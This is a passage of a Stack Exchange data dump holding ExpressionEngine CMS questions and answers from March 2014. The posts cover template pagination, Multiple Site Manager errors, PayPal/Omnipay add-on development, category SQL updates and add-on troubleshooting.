  <row Id="20112" PostTypeId="1" CreationDate="2014-03-09T10:06:30.510" Score="1" ViewCount="77" Body="&lt;p&gt;I have undertaken the arduous task of skinning the discussion forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have almost completed it, but can't figure out where a few things are stored.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the localization settings page, where are the forms stored? &lt;code&gt;{form:localization}, {form:time_format}, {form:language}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the preview message, and view message pages, I can't find the parsed message include. &lt;code&gt;{include:parsed_message}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the view thread pages, the code &lt;code&gt;{if avatar}{/if}&lt;/code&gt; works, but &lt;code&gt;{if no_avatar}{/if}&lt;/code&gt; doesn't. I want to include an alternative default image if the user has no avatar stored. Is there a way to do this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If anyone can point me in the right direction on any of the points about, that would be fantastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a great Sunday!&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2016-06-04T12:48:02.933" Title="Discussion Forum can't find a few includes" Tags="|forum|discussion|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20113" PostTypeId="1" CreationDate="2014-03-09T12:34:33.137" Score="1" ViewCount="98" Body="&lt;p&gt;Installed EE 2.8.x today with newest msm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I switch sites or edit sites, I get  blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL is something like:&#xA;&lt;a href=&quot;http://subdomain.domain.com/admin.php?/cp/sites/manage_sites?S=1b89ab94f128fbe5ee247f319cea09ca&quot; rel=&quot;nofollow&quot;&gt;http://subdomain.domain.com/admin.php?/cp/sites/manage_sites?S=1b89ab94f128fbe5ee247f319cea09ca&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: 1/3 msm sites is a subdomain of domain1. File paths seem okay. On server domain 2 is a sub-folder of domain 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can log into separate CPs using subdomain or domain. Actual sites work fine to public users.&lt;/p&gt;&#xA;" OwnerDisplayName="user1729" LastActivityDate="2014-03-13T09:20:33.883" Title="why do i get a blank screen switching between msm sites after upgrade?" Tags="|multi-site-manager|blank-screen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20114" PostTypeId="1" CreationDate="2014-03-09T14:14:50.607" Score="5" ViewCount="1262" Body="&lt;p&gt;I receive this error from a new installation, 2.8.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only a channel and a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I display a single item, all works fine, if I use pagination, receive this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is very simple, this is my first site in ee.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;    {title}&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2829" LastEditorUserId="197" LastEditDate="2014-03-10T16:57:57.360" LastActivityDate="2014-03-11T02:25:05.230" Title="Fatal error: Call to undefined method EE_Loader::libary() in EE_Pagination.php" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20115" PostTypeId="2" ParentId="20102" CreationDate="2014-03-09T14:59:09.723" Score="4" Body="&lt;p&gt;There’s a Javascript bug in EE 2.8.0 that breaks the field settings page and other areas of the CP when certain add-ons are installed, including Matrix. It’ll be fixed in 2.8.1, and EllisLab has posted a patch file here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20165&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20165&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-03-09T14:59:09.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20116" PostTypeId="2" ParentId="19992" CreationDate="2014-03-09T15:33:24.867" Score="3" Body="&lt;p&gt;It turns out the answer is to turn off &quot;Allow HTML&quot; for all Freeform notification templates. I believe this is because Freeform will then leave the email as plain text allowing Postmaster to encapsulate it as HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Benek, I'm glad it's all sorted for you! :-)&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2014-03-09T15:33:24.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20117" PostTypeId="2" ParentId="20063" CreationDate="2014-03-09T17:46:13.113" Score="1" Body="&lt;p&gt;After much consternation I tried commenting out the &lt;code&gt;Strip paragraph tags&lt;/code&gt; section of the &lt;code&gt;save_field()&lt;/code&gt; function from above again, but tested it more thoroughly and it works. It keeps the tags on submission/repopulation through &lt;code&gt;channel:form&lt;/code&gt;. This might cause bugs down the line, but it'll do for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/expressionengine/modules/rte/libraries/Rte_lib.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;lines 445 to 447.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Strip paragraph tags&#xA;/*&#xA;$data = preg_replace(&quot;#&amp;lt;(/)?pre[^&amp;gt;]*?&amp;gt;#i&quot;, &quot;&amp;lt;$1pre&amp;gt;&quot;, $data);&#xA;$data = preg_replace(&quot;#&amp;lt;p&amp;gt;|&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;|&amp;lt;/p&amp;gt;#i&quot;, &quot;&quot;,  preg_replace(&quot;#&amp;lt;\/p&amp;gt;&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;#i&quot;, &quot;\n&quot;, $data));&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-03-09T17:46:13.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20119" PostTypeId="2" ParentId="20090" CreationDate="2014-03-09T19:06:27.450" Score="3" Body="&lt;p&gt;I don't know of any free alternatives for Authorize.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Charge (&lt;a href=&quot;http://devot-ee.com/add-ons/charge&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/charge&lt;/a&gt;) is an affordable ($45) method to integrate Stripe.com and might be a good middle ground solution between Simple Commerce and a true eCommerce add-on such as CartThrob or Exp:resso Store.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-09T19:06:27.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20120" PostTypeId="2" ParentId="20104" CreationDate="2014-03-09T19:15:21.490" Score="2" Body="&lt;p&gt;I think this should do it, but you should take a database backup just in case. You might need to run each group separately.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Update the Categories Table&#xA;UPDATE exp_categories&#xA;SET 'cat_id' = 137&#xA;WHERE 'cat_id' = 130&#xA;&#xA;&#xA; // Update the Categories Field Table&#xA;UPDATE exp_category_field_data&#xA;SET 'cat_id' = 137&#xA;WHERE 'cat_id' = 130&#xA;&#xA;&#xA;// Update the Category Posts Table&#xA;UPDATE exp_category_posts&#xA;SET 'cat_id' = 137&#xA;WHERE 'cat_id' = 130&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-05-09T11:38:39.077" LastActivityDate="2014-05-09T11:38:39.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20121" PostTypeId="1" CreationDate="2014-03-09T20:38:57.287" Score="1" ViewCount="75" Body="&lt;p&gt;I have my products set to 'Limit Stock' and have entered stock amounts. I have processed a few test orders and then deleted them. After doing so, I noticed that the stock counts do not re-adjust accordingly -- i.e. they do not return to their previous counts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does deleting an order not re-adjust the inventory accordingly? I really hope this is not the case.&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-04-11T08:55:00.153" Title="Deleting order does not re-adjust inventory" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20122" PostTypeId="1" CreationDate="2014-03-09T20:51:18.817" Score="1" ViewCount="48" Body="&lt;p&gt;Basically I'm looking for a way to allow logged in users to re-order their last order. Has anyone ever tried this before in Expresso Store?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2014-03-12T07:24:31.820" Title="Expresso Store: Pre-populate a cart with a members last order" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20123" PostTypeId="1" CreationDate="2014-03-09T21:02:08.990" Score="0" ViewCount="155" Body="&lt;p&gt;Currently on a site using Structure. I've run into a brainteaser I hope someone maybe able to help out with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site itself makes use of Structures child pages. In my case these child pages relate to Recipes. ie. the parent page would be Recipes with a child of Main Courses, which would then have child pages of Fish courses, Pasta courses etc. In the publish form of these child pages I have a Playa field, which link documents/recipes from my documents channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats all fine, but some child pages have a lot of related documents assigned to them, so I want to integrate pagination if possible to avoid long scrolling pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the bare bones of my markup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;not closed&quot; dynamic=&quot;on&quot;}&#xA;&#xA;&#xA;    {if related_docs}&amp;lt;!--My Playa field--&amp;gt;&#xA;&#xA;    {exp:playa:children &#xA;        channel=&quot;documents&quot; &#xA;        disable=&quot;categories|category_fields|member_data&quot; &#xA;        orderby=&quot;title&quot; &#xA;        sort=&quot;asc&quot; &#xA;        limit=&quot;5&quot; &#xA;        var_prefix=&quot;pages&quot; &#xA;        paginate_base=&quot;/{segment_1}/{segment_2}/{segment_3}&quot; &#xA;        paginate=&quot;bottom&quot;}&#xA;&#xA;&#xA;    &amp;lt;h5&amp;gt;{pages:title}&amp;lt;/h5&amp;gt;&#xA;&#xA;    &amp;lt;!--Pagination start--&amp;gt;&#xA;&#xA;{pages:paginate}&#xA;{pagination_links}&#xA;&amp;lt;ul&amp;gt;&#xA;  {first_page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/first_page}&#xA;&#xA;  {previous_page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/previous_page}&#xA;&#xA;  {page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/page}&#xA;&#xA;  {next_page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/next_page}&#xA;&#xA;  {last_page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/last_page}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/pagination_links}&#xA;{/pages:paginate}&#xA;&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;    {if:else}&#xA;&#xA;    &amp;lt;p style=&quot;padding:15px;&quot;&amp;gt;Currently no resources for this area&amp;lt;/p&amp;gt;&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have read about using pagination within a Playa field, hence the inclusion of &lt;code&gt;var_prefix&lt;/code&gt;. But the pagination just doesn't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now if I navigate to my Structure child page with the related entries displayed, the URL is &lt;code&gt;domain.com/recipes/main-courses/meat-dishes/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the default &lt;code&gt;pagination_url&lt;/code&gt;, this takes me to &lt;code&gt;domain.com/recipes/main-courses/meat-dishes/P5&lt;/code&gt;  . Which implies the pagination URL's are being correctly applied. But when I click on the next page I am merely taken to the homepage, with the &lt;code&gt;P5&lt;/code&gt; paginated url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something glaringly obvious with this one. Has anyone had any success with this or can someone point me in the right direction.    &lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2016-10-03T07:47:27.220" Title="Pagination using Structure and Playa entries" Tags="|playa|structure|url|pagination|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20124" PostTypeId="1" CreationDate="2014-02-05T09:52:58.297" Score="2" ViewCount="145" Body="&lt;p&gt;I have created a simple extension in EE to handle PayPal payments on submission of a Channel Form, which seems to be working up to a point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is how do I get the extension to handle the response after the return from PayPal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My send parameters need to include a 'returnURL' which means that PayPal redirects to this page on successful completion - obviously this means the function in the extension is no longer in play!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the logic in the extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $response = $gateway-&amp;gt;purchase($args)-&amp;gt;send();&#xA;&#xA;if ($response-&amp;gt;isSuccessful()) {&#xA;    // do something with the response&#xA;&#xA;&#xA;} elseif ($response-&amp;gt;isRedirect()) {&#xA;         // redirect to offsite payment gateway&#xA;         $response-&amp;gt;redirect();&#xA;&#xA;} else {&#xA;         // payment failed: display message to customer&#xA;         echo $response-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that on returning from the redirect to the offsite gateway,the 'isSuccessful' branch doesn't get executed, I am just redirected to the page specified in the 'returnURL' parameter sent with the initial request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I process the return from PayPal so I can send the completePurchase() request within the extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;I've just had a thought - should I make the returnURL an '?ACT' and add an entry to the actions table to call the next function in the extension? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;... I'll try it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except you can't use actions with extensions, only modules. And you can't use hooks in modules, only extensions. As I need to hook into the form submit AND use an action to process the return, it' back to the drawing board :-(&lt;/p&gt;&#xA;" OwnerUserId="1517" OwnerDisplayName="Martyn James" LastEditorUserId="22" LastEditDate="2018-09-24T22:37:37.120" LastActivityDate="2018-09-24T22:37:37.120" Title="EE Extension for OmniPay / Paypal" Tags="|extension|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20125" PostTypeId="2" ParentId="20124" CreationDate="2014-02-05T20:40:04.023" Score="2" Body="&lt;p&gt;So, the answer was, after all, to create both an extension and a module within the same add-on folder. Extension to hook into the form submission, then a module to process the paypal payment. I created an action id to refer to the method within the module, and then used that as the returnURL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q  = ee() -&amp;gt; db -&amp;gt; select('action_id') -&amp;gt; from('actions') -&amp;gt; where(array('method' =&amp;gt; 'complete_purchase','class' =&amp;gt; 'Process_payment'))-&amp;gt;get();&#xA;$action_id = $q -&amp;gt; row('action_id');    $args['cancelUrl'] =  ee() -&amp;gt; functions -&amp;gt; fetch_site_index(true) . 'clients/_cancel';&#xA;$args['returnUrl'] =  ee() -&amp;gt; functions -&amp;gt; fetch_site_index(true) . '?ACT='.$action_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post more detailed information if anyone else is stuck on this&lt;/p&gt;&#xA;" OwnerUserId="1517" OwnerDisplayName="Martyn James" LastActivityDate="2014-02-05T20:53:43.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20126" PostTypeId="2" ParentId="20124" CreationDate="2014-02-06T20:45:52.700" Score="0" Body="&lt;p&gt;Yes, with ExpressionEngine you often need to create both an extension and a module. The difference is rather superficial and ideally they would all be the same thing, but that's what we have to work with for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct in assuming you need an action URL to deal with this. Make a record of the amount which was to be paid somewhere in the database (if you are using channel entries then this will already be done for you), then create an ACT URL which will allow you to identify the payment. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = ee()-&amp;gt;functions-&amp;gt;fetch_site_index().'?ACT='.$action_id.'&amp;amp;entry_id='.$entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using EE 2.7+, make sure you set the &lt;code&gt;csrf_exempt&lt;/code&gt; database column to &lt;code&gt;1&lt;/code&gt; in the &lt;code&gt;exp_actions&lt;/code&gt; table for your action as well (not explicitly needed for Paypal, but other off-site gateways often POST to your action which triggers EE's CSRF protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module action, simply load up Omnipay and call &lt;code&gt;$gateway-&amp;gt;completePurchase($params)&lt;/code&gt;, which will check for the correct query string parameters and confirm the transaction with PayPal.&lt;/p&gt;&#xA;" OwnerUserId="150" OwnerDisplayName="Adrian Macneil" LastActivityDate="2014-02-06T20:45:52.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20127" PostTypeId="1" AcceptedAnswerId="20161" CreationDate="2014-03-10T00:22:15.850" Score="0" ViewCount="223" Body="&lt;p&gt;After upgrading a ExpressionEngine 2.1.0 site to ExpressionEngine 2.5.2 (ran into issues trying to upgrade to 2.7.3 and 2.5.2 was the oldest I had in my archives) I am running into a white screen when trying to access Edit Sites or any of the two sites under the Site Name menu in the ExpressionEngine CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've enabled debugging output everywhere I can think of — in the CP, in index.php files, etc. — but still only see the white screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to do this with MSM 2.1.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what to check for this? Configuration settings that might have been missed? Something in the database that might not have been updated properly between 2.1.0 and 2.5.2? That sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE (2014/03/10)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to uncover a couple more useful data points. When I try to load the Edit Sites screen in Chrome, I see this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Class 'CP_Controller' not found in /Users/bseymore/Sites/backspaceink-252.loc/admin/expressionengine/controllers/cp/sites.php on line 25&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason that error message does not appear in Safari.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to load the Edit Sites screen via Safari, I see this in the Developer Console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Failed to load resource: the server responded with a status of 500 (Internal Server Error)&#xA;http://[SITE-NAME]/admin/index.php?S=e34bf993965b3c69ce41729920acdf886e3e4dba&amp;amp;D=cp&amp;amp;C=sites&amp;amp;M=manage_sites&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-03-10T23:32:09.873" LastActivityDate="2014-03-10T23:43:30.930" Title="White Screen Trying to Manage Multiple Site Manager After Upgrade" Tags="|multi-site-manager|white-screen-of-death|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20128" PostTypeId="1" AcceptedAnswerId="20133" CreationDate="2014-03-10T00:49:56.610" Score="0" ViewCount="208" Body="&lt;p&gt;Has anyone tried or succeeded in building an ExpressionEngine Lexer that could be used to build out customized code hinting and coloring? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't seen one out there, but didn't know if I was just overlooking things or not&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-03-10T07:04:37.193" Title="ExpressionEngine Lexer" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20129" PostTypeId="1" AcceptedAnswerId="20188" CreationDate="2014-03-10T01:48:53.567" Score="0" ViewCount="184" Body="&lt;p&gt;I'm using a channel form to allow readers to submit letters to the editor that can include pictures. Here's the (redacted) code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;{my_channel}&quot; category=&quot;37&quot; return=&quot;/site/page/5569&quot; status=&quot;closed&quot;} &#xA;&amp;lt;textarea name=&quot;body&quot; cols=&quot;50&quot; rows=&quot;20&quot; class=&quot;rich_text&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;{field:pictures} &#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Post&quot; /&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form seems to work OK. You can enter photos and captions just as you would in the the control panel. But when I save the form, and go to edit the entry in the control panel, all of the entry is there, except for the grid contents, which are empty.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-03-11T16:15:35.697" Title="Grid in Channel Form won't save data" Tags="|channel-form|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20130" PostTypeId="1" AcceptedAnswerId="20132" CreationDate="2014-03-10T03:13:26.033" Score="1" ViewCount="42" Body="&lt;p&gt;Sorry, I don't know how else to describe this (as in the title). So have you all seen Lumosity's logged-in user page? Basically, it shows a calendar with today's date (Sunday, for example), and games to play for that date. Then, when you login the next day, it'll show that it is Tuesday, and it'll give a selection of games to play for Tuesday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to do this with ExpressionEngine, where you pull and display random content each day (different content every 24 hours) from a channel (pool of content)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to make it even more complex, say we want to display 5 content entries. How do we pull 1 entry from 5 different channels, so that the 5 content entries we want to display are all of different types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditDate="2014-03-10T03:20:46.867" LastActivityDate="2014-03-10T06:53:28.853" Title="Calendar-based Content Displayal like Lumosity" Tags="|channel-entries|dynamic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20132" PostTypeId="2" ParentId="20130" CreationDate="2014-03-10T06:53:28.853" Score="0" Body="&lt;p&gt;You could build a simple add-on that extends the Channel Entry loop and sets the &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter based on the random ID's it grabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could select the entry_ids to load with a method such as those found at &lt;a href=&quot;https://stackoverflow.com/questions/18346047/select-record-from-database-randomly-based-on-time&quot;&gt;https://stackoverflow.com/questions/18346047/select-record-from-database-randomly-based-on-time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about extending Channel Entries here: &lt;a href=&quot;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your add-on may look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:date_entries channel=&quot;games&quot; limit=&quot;5&quot;}&#xA;    &amp;lt;li&amp;gt;{title} - &amp;lt;a href=&quot;/game/play/{url_title}/&quot;&amp;gt;Play now &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:date_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to load from 5 different channels you could make your addon do that too by using a pipe delimiter so for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:date_entries channel=&quot;mind-games|trivia|technology|history|science|visual&quot; limit=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your add-on would then run the SQL query against the channels listed above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know how you get on.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-03-10T06:53:28.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20133" PostTypeId="2" ParentId="20128" CreationDate="2014-03-10T07:04:37.193" Score="1" Body="&lt;p&gt;There are a number of addons for popular editors to add syntax highlighting and code completion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some that I'm aware of...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coda: &lt;a href=&quot;http://www.siblify.com/blog/expressionengine_2_syntax_mode_for_coda_2/&quot; rel=&quot;nofollow&quot;&gt;http://www.siblify.com/blog/expressionengine_2_syntax_mode_for_coda_2/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sublime Text: &lt;a href=&quot;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Atom: &lt;a href=&quot;https://atom.io/packages/language-expressionengine&quot; rel=&quot;nofollow&quot;&gt;https://atom.io/packages/language-expressionengine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-10T07:04:37.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20134" PostTypeId="2" ParentId="20105" CreationDate="2014-03-10T09:53:35.793" Score="1" Body="&lt;p&gt;I have now got this to work by using this code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {categories show_group=&quot;26|25|28&quot;}&#xA;    &amp;lt;a class=&quot;btn btn-outline-white&quot; href=&quot;{path='store/products'}/{category_id}&quot; role=&quot;button&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&#xA;    {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I removed the show_group=&quot;26|25|28&quot;, as this is not needed if the entry as a category selected and also removed the {category_id} in the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new code is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {categories}&#xA;    &amp;lt;a class=&quot;btn btn-outline-white&quot; href=&quot;{path='store/products'}&quot; role=&quot;button&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&#xA;    {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2014-03-10T09:53:35.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20135" PostTypeId="1" CreationDate="2014-03-10T10:51:08.900" Score="0" ViewCount="84" Body="&lt;p&gt;I've upgraded a site from EE1 to EE2 and a few of the add-ons don't seem to be working inside the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are working fine inside the Admin area and all the content is showing up in the entries perfectly. But on the front end I'm getting things like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;M90o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Appear where that add-on is trying to output the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure it out! All the add-ons are up to date and I'm using the updated / correct template code for that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One in particular is Structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/{segment_1}&quot; include_ul=&quot;no&quot; current_class=&quot;selected&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  